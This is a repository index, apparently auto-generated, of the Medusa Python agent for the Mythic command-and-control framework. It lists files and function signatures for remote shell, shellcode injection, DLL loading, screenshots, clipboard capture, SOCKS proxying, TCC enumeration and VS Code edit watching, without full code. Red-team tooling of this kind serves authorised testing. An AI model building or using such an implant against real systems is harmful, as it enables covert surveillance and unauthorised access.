│ │ │ ├── load.py
│ │ │ ├── load_dll.py
│ │ │ ├── load_module.py
│ │ │ ├── load_script.py
│ │ │ ├── ls.py
│ │ │ ├── mv.py
│ │ │ ├── pip_freeze.py
│ │ │ ├── ps.py
│ │ │ ├── ps_full.py
│ │ │ ├── rm.py
│ │ │ ├── screenshot.py
│ │ │ ├── shell.py
│ │ │ ├── shinject.py
│ │ │ ├── sleep.py
│ │ │ ├── socks.py
│ │ │ ├── spawn_jxa.py
│ │ │ ├── unload.py
│ │ │ ├── unload_module.py
│ │ │ ├── upload.py
│ │ │ ├── vscode_list_recent.py
│ │ │ ├── vscode_open_edits.py
│ │ │ ├── vscode_watch_edits.py
│ │ │ └── watch_dir.py
│ │ └── browser_scripts/
│ │ ├── copy_additional_info_to_clipboard.js
│ │ ├── create_table.js
│ │ ├── download.js
│ │ ├── download_bulk.js
│ │ ├── file_size_to_human_readable_string.js
│ │ ├── jobs.js
│ │ ├── list_apps.js
│ │ ├── list_dlls.js
│ │ ├── ls.js
│ │ ├── ps.js
│ │ ├── ps_full.js
│ │ ├── screenshot.js
│ │ ├── tcc.js
│ │ ├── vscode_edits.js
│ │ └── vscode_recent.js
│ └── rabbitmq_config.json
├── README.md
├── config.json
├── documentation-c2/
│ └── .keep
├── documentation-payload/
│ ├── .keep
│ └── medusa/
│ ├── _index.md
│ ├── c2_profiles/
│ │ ├── Azure_Blob.md
│ │ ├── HTTP.md
│ │ └── _index.md
│ ├── commands/
│ │ ├── _index.md
│ │ ├── cat.md
│ │ ├── cd.md
│ │ ├── clipboard.md
│ │ ├── cp.md
│ │ ├── cwd.md
│ │ ├── download.md
│ │ ├── download_bulk.md
│ │ ├── env.md
│ │ ├── eval_code.md
│ │ ├── exit.md
│ │ ├── jobs.md
│ │ ├── kill.md
│ │ ├── list_apps.md
│ │ ├── list_dlls.md
│ │ ├── list_modules.md
│ │ ├── list_tcc.md
│ │ ├── load.md
│ │ ├── load_dll.md
│ │ ├── load_module.md
│ │ ├── load_script.md
│ │ ├── ls.md
│ │ ├── mv.md
│ │ ├── pip_freeze.md
│ │ ├── ps.md
│ │ ├── ps_full.md
│ │ ├── rm.md
│ │ ├── screenshot.md
│ │ ├── shell.md
│ │ ├── shinject.md
│ │ ├── sleep.md
│ │ ├── socks.md
│ │ ├── spawn_jxa.md
│ │ ├── unload.md
│ │ ├── unload_module.md
│ │ ├── upload.md
│ │ ├── vscode_list_recent.md
│ │ ├── vscode_open_edits.md
│ │ ├── vscode_watch_edits.md
│ │ └── watch_dir.md
│ ├── development.md
│ └── opsec.md
├── documentation-wrapper/
│ └── .keep
└── tests/
└── test_payload_build_matrix.py
SYMBOL INDEX (324 symbols across 74 files)
FILE: .github/scripts/matrix-test-builder.py
function discover_profiles (line 9) | def discover_profiles(base_agent_path: pathlib.Path):
function build_matrix (line 23) | def build_matrix(profiles):
function main (line 40) | def main():
FILE: Payload_Type/medusa/medusa/agent_code/cat.py
function cat (line 1) | def cat(self, task_id, path):
FILE: Payload_Type/medusa/medusa/agent_code/cd.py
function cd (line 1) | def cd(self, task_id, path):
FILE: Payload_Type/medusa/medusa/agent_code/cp.py
function cp (line 1) | def cp(self, task_id, source, destination):
FILE: Payload_Type/medusa/medusa/agent_code/cwd.py
function cwd (line 1) | def cwd(self, task_id):
FILE: Payload_Type/medusa/medusa/agent_code/download.py
function download (line 1) | def download(self, task_id, file):
FILE: Payload_Type/medusa/medusa/agent_code/download_bulk.py
function download_bulk (line 1) | def download_bulk(self, task_id, path, mode="archive"):
FILE: Payload_Type/medusa/medusa/agent_code/env.py
function env (line 1) | def env(self, task_id):
FILE: Payload_Type/medusa/medusa/agent_code/eval_code.py
function eval_code (line 1) | def eval_code(self, task_id, command):
FILE: Payload_Type/medusa/medusa/agent_code/exit.py
function exit (line 1) | def exit(self, task_id):
FILE: Payload_Type/medusa/medusa/agent_code/jobkill.py
function jobkill (line 1) | def jobkill(self, task_id, target_task_id):
FILE: Payload_Type/medusa/medusa/agent_code/jobs.py
function jobs (line 1) | def jobs(self, task_id):
FILE: Payload_Type/medusa/medusa/agent_code/list_modules.py
function list_modules (line 1) | def list_modules(self, task_id, module_name=""):
FILE: Payload_Type/medusa/medusa/agent_code/list_tcc.py
function list_tcc (line 1) | def list_tcc(self,task_id,tcc=True, db="/Library/Application Support/com...
FILE: Payload_Type/medusa/medusa/agent_code/load.py
function load (line 1) | def load(self, task_id, file_id, command):
FILE: Payload_Type/medusa/medusa/agent_code/load_dll.py
function load_dll (line 1) | def load_dll(self, task_id, dllpath, dllexport):
FILE: Payload_Type/medusa/medusa/agent_code/load_script.py
function load_script (line 1) | def load_script(self, task_id, file):
FILE: Payload_Type/medusa/medusa/agent_code/mv.py
function mv (line 1) | def mv(self, task_id, source, destination):
FILE: Payload_Type/medusa/medusa/agent_code/pip_freeze.py
function pip_freeze (line 1) | def pip_freeze(self, task_id):
FILE: Payload_Type/medusa/medusa/agent_code/rm.py
function rm (line 1) | def rm(self, task_id, path):
FILE: Payload_Type/medusa/medusa/agent_code/shell.py
function shell (line 1) | def shell(self, task_id, command):
FILE: Payload_Type/medusa/medusa/agent_code/shinject.py
function shinject (line 1) | def shinject(self, task_id, shellcode, process_id):
FILE: Payload_Type/medusa/medusa/agent_code/sleep.py
function sleep (line 1) | def sleep(self, task_id, seconds, jitter=-1):
FILE: Payload_Type/medusa/medusa/agent_code/spawn_jxa.py
function spawn_jxa (line 1) | def spawn_jxa(self, task_id, file, language):
FILE: Payload_Type/medusa/medusa/agent_code/unload.py
function unload (line 1) | def unload(self, task_id, command):
FILE: Payload_Type/medusa/medusa/agent_code/unload_module.py
function unload_module (line 1) | def unload_module(self, task_id, module_name):
FILE: Payload_Type/medusa/medusa/agent_code/upload.py
function upload (line 1) | def upload(self, task_id, file, remote_path):
FILE: Payload_Type/medusa/medusa/agent_code/vscode_list_recent.py
function vscode_list_recent (line 1) | def vscode_list_recent(self, task_id, db=""):
FILE: Payload_Type/medusa/medusa/agent_code/vscode_open_edits.py
function vscode_open_edits (line 1) | def vscode_open_edits(self, task_id, backups_path=""):
FILE: Payload_Type/medusa/medusa/agent_code/vscode_watch_edits.py
function vscode_watch_edits (line 1) | def vscode_watch_edits(self, task_id, backups_path="", seconds=1):
FILE: Payload_Type/medusa/medusa/agent_code/watch_dir.py
function watch_dir (line 1) | def watch_dir(self, task_id, path, seconds):
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/builder.py
class Medusa (line 9) | class Medusa(PayloadType):
method getPythonVersionFile (line 75) | def getPythonVersionFile(self, directory, file):
method _read_file (line 91) | def _read_file(self, path: str) -> str:
method _apply_https_setting (line 95) | def _apply_https_setting(self, base_code: str, profile_name: str) -> str:
method _parse_transport_template (line 116) | def _parse_transport_template(self, template_code: str) -> dict:
method _validate_transport_template_format (line 125) | def _validate_transport_template_format(self, profile_name: str, templ...
method _validate_transport_sections (line 143) | def _validate_transport_sections(self, profile_name: str, sections: di...
method _validate_core_markers_replaced (line 154) | def _validate_core_markers_replaced(self, base_code: str, profile_name...
method _get_base_code_for_profile (line 172) | def _get_base_code_for_profile(self, profile_name: str) -> str:
method _to_python_literal (line 193) | def _to_python_literal(self, value):
method _apply_c2_parameter_replacements (line 198) | def _apply_c2_parameter_replacements(self, base_code: str, c2):
method build (line 223) | async def build(self) -> BuildResponse:
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cat.py
class CatArguments (line 7) | class CatArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
class CdCommand (line 27) | class CdCommand(CommandBase):
method create_tasking (line 41) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 45) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cd.py
class CdArguments (line 7) | class CdArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 19) | async def parse_arguments(self):
class CdCommand (line 29) | class CdCommand(CommandBase):
method create_tasking (line 43) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 47) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/clipboard.py
class GetClipboardArguments (line 5) | class GetClipboardArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 10) | async def parse_arguments(self):
class GetClipboardCommand (line 14) | class GetClipboardCommand(CommandBase):
method create_tasking (line 37) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 40) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cp.py
class CpArguments (line 5) | class CpArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 29) | async def parse_arguments(self):
class CpCommand (line 40) | class CpCommand(CommandBase):
method create_tasking (line 54) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 59) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cwd.py
class GetCwdArguments (line 5) | class GetCwdArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 10) | async def parse_arguments(self):
class GetCwdCommand (line 14) | class GetCwdCommand(CommandBase):
method create_tasking (line 34) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 37) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/download.py
class DownloadArguments (line 6) | class DownloadArguments(TaskArguments):
method __init__ (line 7) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 20) | async def parse_arguments(self):
class DownloadCommand (line 46) | class DownloadCommand(CommandBase):
method create_go_tasking (line 65) | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> P...
method process_response (line 74) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/download_bulk.py
class DownloadBulkArguments (line 6) | class DownloadBulkArguments(TaskArguments):
method __init__ (line 7) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 34) | async def parse_arguments(self):
class DownloadBulkCommand (line 54) | class DownloadBulkCommand(CommandBase):
method create_go_tasking (line 75) | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> P...
method process_response (line 86) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/env.py
class GetEnvArguments (line 5) | class GetEnvArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 10) | async def parse_arguments(self):
class GetEnvCommand (line 14) | class GetEnvCommand(CommandBase):
method create_tasking (line 34) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 37) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/eval_code.py
class EvalArguments (line 7) | class EvalArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
method parse_dictionary (line 22) | async def parse_dictionary(self, dictionary_arguments):
class EvalCommand (line 26) | class EvalCommand(CommandBase):
method create_tasking (line 40) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 44) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/exit.py
class ExitArguments (line 6) | class ExitArguments(TaskArguments):
method __init__ (line 7) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 11) | async def parse_arguments(self):
class ExitCommand (line 15) | class ExitCommand(CommandBase):
method create_tasking (line 37) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 40) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/jobkill.py
class JobKillArguments (line 7) | class JobKillArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
class JobKillCommand (line 27) | class JobKillCommand(CommandBase):
method create_tasking (line 41) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 45) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/jobs.py
class JobsArguments (line 5) | class JobsArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 10) | async def parse_arguments(self):
class JobsCommand (line 14) | class JobsCommand(CommandBase):
method create_tasking (line 35) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 38) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/kill.py
class KillArguments (line 7) | class KillArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
method parse_dictionary (line 22) | async def parse_dictionary(self, dictionary_arguments):
class KillCommand (line 26) | class KillCommand(CommandBase):
method create_tasking (line 41) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 45) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/list_apps.py
class ListAppsArguments (line 4) | class ListAppsArguments(TaskArguments):
method __init__ (line 5) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 9) | async def parse_arguments(self):
class ListAppsCommand (line 13) | class ListAppsCommand(CommandBase):
method create_tasking (line 37) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 44) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/list_dlls.py
class ListDllsArguments (line 5) | class ListDllsArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 21) | async def parse_arguments(self):
method parse_dictionary (line 29) | async def parse_dictionary(self, dictionary_arguments):
class ListDllsCommand (line 32) | class ListDllsCommand(CommandBase):
method create_tasking (line 55) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 63) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/list_modules.py
class ListModulesArguments (line 5) | class ListModulesArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 19) | async def parse_arguments(self):
class ListModulesCommand (line 26) | class ListModulesCommand(CommandBase):
method create_tasking (line 46) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 50) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/list_tcc.py
class ListTccArguments (line 7) | class ListTccArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 22) | async def parse_arguments(self):
class ListTccCommand (line 33) | class ListTccCommand(CommandBase):
method create_tasking (line 51) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 55) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/load.py
class LoadArguments (line 5) | class LoadArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method get_commands (line 18) | async def get_commands(self, inputMsg: PTRPCDynamicQueryFunctionMessag...
method parse_arguments (line 70) | async def parse_arguments(self):
method parse_dictionary (line 76) | async def parse_dictionary(self, dictionary_arguments):
class LoadCommand (line 79) | class LoadCommand(CommandBase):
method create_go_tasking (line 97) | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> P...
method process_response (line 158) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/load_dll.py
class LoadDllArguments (line 5) | class LoadDllArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 29) | async def parse_arguments(self):
class LoadDllCommand (line 40) | class LoadDllCommand(CommandBase):
method create_tasking (line 54) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 59) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/load_module.py
class LoadModuleArguments (line 7) | class LoadModuleArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 21) | async def parse_arguments(self):
class LoadModuleCommand (line 31) | class LoadModuleCommand(CommandBase):
method create_tasking (line 48) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 74) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/load_script.py
class LoadScriptArguments (line 7) | class LoadScriptArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
class LoadScriptCommand (line 28) | class LoadScriptCommand(CommandBase):
method create_tasking (line 44) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 65) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/ls.py
class LsArguments (line 7) | class LsArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 21) | async def parse_arguments(self):
class LsCommand (line 35) | class LsCommand(CommandBase):
method create_tasking (line 52) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 60) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/mv.py
class MvArguments (line 5) | class MvArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 29) | async def parse_arguments(self):
class MvCommand (line 40) | class MvCommand(CommandBase):
method create_tasking (line 54) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 59) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/pip_freeze.py
class PipFreezeArguments (line 5) | class PipFreezeArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 10) | async def parse_arguments(self):
class PipFreezeCommand (line 14) | class PipFreezeCommand(CommandBase):
method create_tasking (line 34) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 37) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/ps.py
class PsArguments (line 7) | class PsArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 12) | async def parse_arguments(self):
class PsCommand (line 16) | class PsCommand(CommandBase):
method create_tasking (line 32) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 36) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/ps_full.py
class PsFullArguments (line 7) | class PsFullArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 12) | async def parse_arguments(self):
class PsFullCommand (line 16) | class PsFullCommand(CommandBase):
method create_tasking (line 32) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 36) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/rm.py
class RmArguments (line 7) | class RmArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 21) | async def parse_arguments(self):
class RmCommand (line 37) | class RmCommand(CommandBase):
method create_tasking (line 53) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 57) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/screenshot.py
class ScreenshotArguments (line 7) | class ScreenshotArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 12) | async def parse_arguments(self):
class ScreenshotCommand (line 16) | class ScreenshotCommand(CommandBase):
method create_tasking (line 35) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 42) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/shell.py
class ShellArguments (line 5) | class ShellArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 16) | async def parse_arguments(self):
method parse_dictionary (line 21) | async def parse_dictionary(self, dictionary_arguments):
class ShellCommand (line 24) | class ShellCommand(CommandBase):
method create_tasking (line 38) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 42) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/shinject.py
class ShinjectArguments (line 7) | class ShinjectArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 23) | async def parse_arguments(self):
class ShinjectCommand (line 33) | class ShinjectCommand(CommandBase):
method create_tasking (line 51) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 77) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/sleep.py
function positiveTime (line 5) | def positiveTime(val):
class SleepArguments (line 9) | class SleepArguments(TaskArguments):
method __init__ (line 10) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 36) | async def parse_arguments(self):
class SleepCommand (line 50) | class SleepCommand(CommandBase):
method create_tasking (line 64) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 70) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/socks.py
class SocksArguments (line 5) | class SocksArguments(TaskArguments):
method __init__ (line 9) | def __init__(self, command_line, **kwargs):
method parse_dictionary (line 31) | async def parse_dictionary(self, dictionary_arguments):
method parse_arguments (line 34) | async def parse_arguments(self):
class SocksCommand (line 57) | class SocksCommand(CommandBase):
method create_go_tasking (line 79) | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> P...
method process_response (line 118) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/spawn_jxa.py
class SpawnJxaArguments (line 7) | class SpawnJxaArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 25) | async def parse_arguments(self):
class SpawnJxaCommand (line 35) | class SpawnJxaCommand(CommandBase):
method create_tasking (line 51) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 72) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/unload.py
class UnloadArguments (line 5) | class UnloadArguments(TaskArguments):
method __init__ (line 6) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
method parse_dictionary (line 24) | async def parse_dictionary(self, dictionary_arguments):
class UnloadCommand (line 28) | class UnloadCommand(CommandBase):
method create_go_tasking (line 43) | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> P...
method process_response (line 53) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/unload_module.py
class UnloadModuleArguments (line 7) | class UnloadModuleArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 18) | async def parse_arguments(self):
class UnloadModuleCommand (line 28) | class UnloadModuleCommand(CommandBase):
method create_tasking (line 45) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 49) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/upload.py
class UploadArguments (line 6) | class UploadArguments(TaskArguments):
method __init__ (line 7) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 22) | async def parse_arguments(self):
method parse_dictionary (line 27) | async def parse_dictionary(self, dictionary_arguments):
class UploadCommand (line 31) | class UploadCommand(CommandBase):
method create_go_tasking (line 49) | async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMe...
method process_response (line 76) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/vscode_list_recent.py
class VscodeListRecentArguments (line 7) | class VscodeListRecentArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 22) | async def parse_arguments(self):
method parse_dictionary (line 26) | async def parse_dictionary(self, dictionary_arguments):
class VscodeListRecentCommand (line 29) | class VscodeListRecentCommand(CommandBase):
method create_tasking (line 47) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 54) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/vscode_open_edits.py
class VscodeOpenEditsArguments (line 7) | class VscodeOpenEditsArguments(TaskArguments):
method __init__ (line 8) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 22) | async def parse_arguments(self):
method parse_dictionary (line 26) | async def parse_dictionary(self, dictionary_arguments):
class VscodeOpenEditsCommand (line 29) | class VscodeOpenEditsCommand(CommandBase):
method create_tasking (line 47) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 54) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/vscode_watch_edits.py
class VscodeWatchEditsArguments (line 6) | class VscodeWatchEditsArguments(TaskArguments):
method __init__ (line 7) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 29) | async def parse_arguments(self):
method parse_dictionary (line 40) | async def parse_dictionary(self, dictionary_arguments):
class VscodeWatchEditsCommand (line 44) | class VscodeWatchEditsCommand(CommandBase):
method create_tasking (line 58) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 65) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/watch_dir.py
class WatchDirArguments (line 6) | class WatchDirArguments(TaskArguments):
method __init__ (line 7) | def __init__(self, command_line, **kwargs):
method parse_arguments (line 29) | async def parse_arguments(self):
method parse_dictionary (line 40) | async def parse_dictionary(self, dictionary_arguments):
class WatchDirCommand (line 44) | class WatchDirCommand(CommandBase):
method create_tasking (line 58) | async def create_tasking(self, task: MythicTask) -> MythicTask:
method process_response (line 62) | async def process_response(self, task: PTTaskMessageAllData, response:...
FILE: Payload_Type/medusa/medusa/mythic/browser_scripts/copy_additional_info_to_clipboard.js
function copyStringToClipboard (line 2) | function copyStringToClipboard(str) {
FILE: tests/test_payload_build_matrix.py
function discover_profiles (line 27) | def discover_profiles():
function python_version_suffix (line 44) | def python_version_suffix(py_version):
function parse_transport_sections (line 48) | def parse_transport_sections(template_code: str):
function function_names_from_code (line 56) | def function_names_from_code(code: str):
function config_keys_from_code (line 60) | def config_keys_from_code(code: str):
function install_fake_mythic_modules (line 64) | def install_fake_mythic_modules():
function load_builder_module (line 132) | def load_builder_module():
class FakeCommands (line 140) | class FakeCommands:
method get_commands (line 141) | def get_commands(self):
class FakeC2 (line 145) | class FakeC2:
method __init__ (line 146) | def __init__(self, name, params):
method get_c2profile (line 150) | def get_c2profile(self):
method get_parameters_dict (line 153) | def get_parameters_dict(self):
function base_c2_params (line 157) | def base_c2_params():
function fake_update_build_step (line 181) | async def fake_update_build_step(_msg):
function fake_other_service_rpc (line 185) | async def fake_other_service_rpc(_msg):
class TestPayloadBuildMatrix (line 197) | class TestPayloadBuildMatrix(unittest.TestCase):
method test_profiles_auto_discovered (line 198) | def test_profiles_auto_discovered(self):
method _selected_values (line 201) | def _selected_values(self, env_name, allowed):
method _build_payload (line 208) | def _build_payload(self, profile_name, python_version, use_non_default...
method _crypto_template_text (line 228) | def _crypto_template_text(self, py_version, crypto_impl):
method _transport_sections (line 233) | def _transport_sections(self, py_version, profile):
method test_dynamic_build_matrix (line 238) | def test_dynamic_build_matrix(self):
method test_python3_payload_pycompile (line 280) | def test_python3_payload_pycompile(self):
Condensed preview — 172 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (485K chars).
[
{
"path": ".github/scripts/matrix-test-builder.py",
"chars": 1643,
"preview": "#!/usr/bin/env python3\nimport json\nimport os\nimport pathlib\nimport re\nimport sys\n\n\ndef discover_profiles(base_agent_path"
},
{
"path": ".github/workflows/payload-build-matrix.yml",
"chars": 1358,
"preview": "name: Payload Build Matrix\n\non:\n pull_request:\n branches:\n - main\n push:\n branches:\n - dev\n\npermission"
},
{
"path": ".gitignore",
"chars": 24,
"preview": "*.DS_Store\n__pycache__/\n"
},
{
"path": "C2_Profiles/.keep",
"chars": 0,
"preview": ""
},
{
"path": "Payload_Type/medusa/Dockerfile",
"chars": 94,
"preview": "FROM itsafeaturemythic/mythic_python_base:latest\n\nWORKDIR /Mythic/\n\nCMD [\"python3\", \"main.py\"]"
},
{
"path": "Payload_Type/medusa/main.py",
"chars": 127,
"preview": "import mythic_container\r\nimport asyncio\r\nfrom medusa.mythic import *\r\n\r\nmythic_container.mythic_service.start_and_run_fo"
},
{
"path": "Payload_Type/medusa/medusa/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/base_agent_core.py2",
"chars": 6994,
"preview": "import os, random, sys, json, socket, base64, time, platform, ssl, getpass\nfrom datetime import datetime\nimport threadin"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/base_agent_core.py3",
"chars": 6989,
"preview": "import os, random, sys, json, socket, base64, time, platform, ssl, getpass\nfrom datetime import datetime\nimport threadin"
},
{
